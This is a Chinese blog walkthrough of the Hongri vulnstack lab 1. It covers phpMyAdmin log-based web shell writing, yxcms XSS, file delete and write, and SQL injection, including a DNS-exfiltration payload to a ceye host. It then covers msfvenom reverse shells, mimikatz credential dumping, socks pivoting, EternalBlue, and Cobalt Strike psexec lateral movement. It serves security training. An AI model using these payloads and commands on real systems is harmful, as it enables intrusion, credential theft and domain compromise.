0%

红日靶场复现

前言:

红日靶场是由红日安全团队搭建的APT实战靶场,相比于春秋云境里的一些靶场会基础一点,做春秋云境靶场的同时也打打红日靶场。(更新中)

红日靶场1

环境搭建

首先要下载

官方:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (但是现在好像打不开了)

百度网盘: https://pan.baidu.com/s/1gxn5bKLKcZZM1pVxMENwkA?pwd=jnb3 提取码: jnb3

下载后解压压缩包

  • win7 vm1 web服务器
  • win2003 vm2 域成员
  • server08 vm3 域控

三台机子密码均为:hongrisec@2019,进入后可能要更改密码:g173****1957@(字母加数字加@的组合)

配置虚拟机网络

win7配置

win7连接着外网和内网,需要两个网卡
第一个网卡选择——VMwear1(仅主机模式)->用于内网
第二个网卡选择——net模式->用于外网

在vm中打开文件夹里的vmx文件

第一个网卡

第二个网卡

配置完后打开进入(需要重启一次),打开phpstudy中,apache和MySQL服务

win2003配置

配置网卡

server2008配置

配置网卡

kali配置

配置网卡

测试

  • win7

    VMnet1:192.168.52.143

    NAT模式:192.168.222.128

  • win2003

    VMnet1:192.168.52.141

  • server2008

    VMnet1:192.168.52.138

互相ping一下发现都可以Ping的通,配置完毕

接下来就开始正式渗透

外网

信息搜集

扫描C段

1
arp-scan -l

arp-scan :用于扫描本地网络中活动主机的工具。

扫描win7端口

1
2
3
nmap -sS -sV 192.168.222.128
//-sS:执行 SYN 扫描(也称为半开放扫描)。不会进行三次握手,扫描较隐蔽。
//-sV:执行服务版本检测,尝试确定开放端口上运行的服务及其版本信息。

访问web端,是一个phpinfo界面

dirsearch扫描网站根目录(这里直接用kali里面的,windows的dirsearch应该是权限问题无法扫描)

 2025-01-12 203326.png

可以发现phpMyAdmin,访问

phpMyAdmin

mysql写入日志

弱口令root/root登录

先试试能不能写入文件

1
SELECT @@global.secure_file_priv;

可以发现不行那么试试写入日志

首先查看系统变量,通用查询日志是否开启

1
SHOW VARIABLES LIKE 'general%';

发现是关闭的,那么将其设置为ON

1
SET GLOBAL general_log = "ON"

更改的查询日志文件的路径为自己木马文件的位置

1
SET GLOBAL general_log_file='C:\\phpStudy\\www\\1.php'

写入一句话木马

1
select"<?php @eval($_POST[1]);?>";

用蚁剑连接

发现除了phpMyAdmin还有一个yxcms,访问看看

yxcms

既然是cms那么就搜索一下有哪些漏洞

后台弱口令

前台留言板xss

在留言本写入xss的payload

登录后台,审核留言时会触发存储型xss

任意文件删除

GET:index.php?r=admin/photo/delpic

POST:picname=../../protected/apps/install/install.lock

返回首页可以发现要重新安装了,install.lock 被删了

任意文件写入

访问/index.php?r=admin/set/tpadd&Mname=default,写入一句话木马

访问/yxcms/protected/apps/default/view/default/1.php,也可以用蚁剑连接(因为我已经连上了就简单演示一下)

SQL注入

访问/index.php?r=admin/fragment/index

新增一个,再删除(注意要点下面的删除)

用bp抓包,将内容复制到1.txt用sqlmap发现存在sql注入(后续操作就不演示了)

还可以用payload上传到ceye查看(但是我自己试没成功就是了)

1
1 and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,1))--+

内网

信息搜集

查看局域网

1
ipconfig

上传fscan.exe进行扫描(因为是win7与新版本兼容会有问题,所以我用的是1.8.0版本的)

整理一下

内网渗透

先查看当前权限为‌Administrator,并不是最高权限System

那么我们先提权

测试win7能不能出网

接下来打法有两种

第一种:基于msf

提权

那么说明可以用反向连接的方式,用msf生成木马程序

1
2
3
4
5
6
7
8
9
10
11
//启动
msfconsole
//生成
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.222.129 LPORT=4444 -f exe -o 1.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.222.129
set lport 4444
run

将生成的1.exe拖到蚁剑里运行,出先meterpreter对话即得到反弹回来的shell

但是当前的权限还是Administrator

提权(这里是Administrator可以直接提权到System,如果是更低级的用户需要其他手段)

1
getsystem

获取用户密码

kiwi(导入mimikatz也会被替换为kiwi)

1
2
load kiwi
creds_all

但是会发现爆不出密码,因为kiwi默认是32位的系统,而win7是64位的系统,不兼容,所以我们需要将meterpreter模块迁移到64位的进程中。

查看进程

1
ps

找一个user为system的64位进程(PID)

1
migrate 912

再次执行就可以得到密码了(这里的密码我已经自己改过了,在上面有)

横向移动

搭建隧道(msf+proxychains)

创建路由

1
2
3
4
创建
run post/multi/manage/autoroute
//查看
run autoroute -p

退出对话,使用socks5进行代理

补充一下几种socks代理的区别

SOCKS4

  • 版本:SOCKS 协议的第四版。
  • 支持的地址类型:SOCKS4 只支持 IPv4 地址。
  • 身份验证:SOCKS4 不支持身份验证,任何人都可以使用代理服务器。
  • DNS 解析:SOCKS4 不支持 DNS 解析。客户端必须在连接代理服务器之前解析域名。
  • UDP 支持:SOCKS4 不支持 UDP 流量。

SOCKS4a

  • 版本:SOCKS4 的扩展版本。
  • 支持的地址类型:SOCKS4a 支持 IPv4 地址,并且可以处理域名。
  • 身份验证:SOCKS4a 不支持身份验证,任何人都可以使用代理服务器。
  • DNS 解析:SOCKS4a 支持 DNS 解析。客户端可以发送域名,代理服务器会解析域名并建立连接。
  • UDP 支持:SOCKS4a 不支持 UDP 流量。

SOCKS5

  • 版本:SOCKS 协议的第五版。
  • 支持的地址类型:SOCKS5 支持 IPv4 和 IPv6 地址,并且可以处理域名。
  • 身份验证:SOCKS5 支持多种身份验证方法,包括无身份验证、GSSAPI 身份验证、用户名/密码身份验证等。
  • DNS 解析:SOCKS5 支持 DNS 解析。客户端可以发送域名,代理服务器会解析域名并建立连接。
  • UDP 支持:SOCKS5 支持 UDP 流量,允许通过代理服务器传输 UDP 数据包。
1
2
3
background
search socks
use auxiliary/server/socks_proxy

设置用户和密码,端口默认的1080就行

1
2
3
4
show options
set username admin
set password admin
run

查看是否运行成功

1
jobs

打开一个新的窗口,配置proxychains

1
vim /etc/proxychains4.conf

全局代理测试

开始攻击

永恒之蓝
1
2
3
4
5
6
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
show options
set RHOSTS 192.168.52.138
exploit

可能是网络的问题三台机子都没打通

匿名ftp访问

上面用fscan扫出192.168.52.141存在这个漏洞

1
2
3
ftp 192.168.52.141
//用户名就是anonymous
//密码为空直接enter

查看目录里的内容,但是并没有东西

有文件的话可以通过get <文件名>读取

第二种:基于cs

下载渠道:cobaltstrike汉化版

使用教程:Cobalt Strike

因为目标是win7所以我们还可以用cs来渗透

我这里的server端是在kali打开的,在windows打开的客户端

连接shell

设置监听

生成木马程序

payloads->windwos stager payload

将木马文件上传到蚁剑运行

可以看到cs已经监听到了

扫描内网

在蚁剑用ifconfig可以看到内网是192.168.52.143

在cs里扫描可以扫出另外两个

提权

获取明文密码

横向移动

搭建隧道(cobaltstrike + proxifer)

配置cobaltstrike

proxifer配置

配置好后就可以访问到192.168.52.143(但是不知道是什么原因只有第一次访问的时候出现了phpinfo界面)

psexec攻击

新建一个监听,设置payload为SMB

上面抓取到了明文密码,随便选取一个进行psexec攻击

Listener设置为刚刚新建的111

开始攻击后,访回列表可以发现已经得到192.168.52.138的权限

用同样的手法再横向192.168.52.141即可经对整个域进行控制

总结: